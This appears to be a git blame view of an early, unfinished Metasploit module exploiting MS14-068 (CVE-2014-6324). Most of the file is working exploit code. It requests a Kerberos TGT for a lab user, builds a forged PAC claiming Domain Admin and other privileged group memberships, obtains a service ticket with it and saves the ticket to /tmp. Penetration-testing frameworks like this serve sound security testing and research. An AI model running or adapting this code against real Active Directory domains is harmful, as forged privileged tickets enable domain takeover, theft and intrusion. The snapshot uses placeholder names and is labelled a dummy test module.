metasploit-framework/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb

118 lines
2.9 KiB
Ruby
Raw Normal View History

2014-12-18 01:57:10 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit4 < Msf::Auxiliary
include Msf::Kerberos::Client
2014-12-18 01:57:10 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Dummy Kerberos testing module',
'Description' => %q{
Dummy Kerberos testing module
},
'Author' =>
[
2014-12-22 18:34:31 +00:00
'Tom Maddock', # Vulnerability discovery
'Sylvain Monne', # pykek framework and exploit
'juan vazquez' # Metasploit module
2014-12-18 01:57:10 +00:00
],
'References' =>
[
2014-12-22 18:29:28 +00:00
['CVE', '2014-6324'],
['MSB', 'MS14-068'],
2014-12-22 18:34:31 +00:00
['OSVDB', '114751'],
['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
['URL', 'https://github.com/bidord/pykek']
2014-12-18 01:57:10 +00:00
],
'License' => MSF_LICENSE,
2014-12-22 18:34:31 +00:00
'DisclosureDate' => 'Nov 18 2014'
2014-12-18 01:57:10 +00:00
))
end
def run
connect(:rhost => datastore['RHOST'])
print_status("Sending AS-REQ...")
2014-12-20 00:10:14 +00:00
2014-12-20 00:23:11 +00:00
my_key = OpenSSL::Digest.digest('MD4', Rex::Text.to_unicode('juan'))
2014-12-20 00:10:14 +00:00
pre_auth = []
2014-12-20 00:23:11 +00:00
pre_auth << build_as_pa_time_stamp(key: my_key)
pre_auth << build_pa_pac_request
2014-12-20 00:10:14 +00:00
pre_auth
2014-12-20 00:23:11 +00:00
res = send_request_as(
client_name: 'juan',
server_name: 'krbtgt/DEMO.LOCAL',
realm: 'DEMO.LOCAL',
key: my_key,
pa_data: pre_auth
)
2014-12-18 01:57:10 +00:00
unless res.msg_type == 11
print_error("invalid response :(")
return
end
print_good("good answer!")
print_status("Parsing AS-REP...")
2014-12-20 00:23:11 +00:00
session_key = extract_session_key(res, my_key)
logon_time = extract_logon_time(res, my_key)
2014-12-18 01:57:10 +00:00
ticket = res.ticket
2014-12-20 00:23:11 +00:00
print_status("Sending TGS-REQ...")
2014-12-20 00:47:41 +00:00
2014-12-20 01:46:50 +00:00
pre_auth = []
pre_auth << build_pa_pac_request
2014-12-20 00:47:41 +00:00
pac = build_pac(
client_name: 'juan',
group_ids: [513, 512, 520, 518, 519],
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
realm: 'DEMO.LOCAL',
logon_time: logon_time,
)
auth_data = build_pac_authorization_data(pac: pac)
2014-12-20 00:23:11 +00:00
res = send_request_tgs(
client_name: 'juan',
server_name: 'krbtgt/DEMO.LOCAL',
realm: 'DEMO.LOCAL',
key: my_key,
2014-12-18 01:57:10 +00:00
logon_time: logon_time,
session_key: session_key,
ticket: ticket,
group_ids: [513, 512, 520, 518, 519],
2014-12-20 00:47:41 +00:00
domain_id: 'S-1-5-21-1755879683-3641577184-3486455962',
2014-12-20 01:46:50 +00:00
auth_data: auth_data,
pa_data: pre_auth
2014-12-18 01:57:10 +00:00
)
unless res.msg_type == 13
print_error("invalid response :(")
return
end
print_good("Valid TGS-Response")
cache = extract_kerb_creds(res, 'AAAABBBBCCCCDDDD')
pp cache
f = File.new('/tmp/cache.ticket', 'wb')
f.write(cache.encode)
f.close
2014-12-18 01:57:10 +00:00
end
end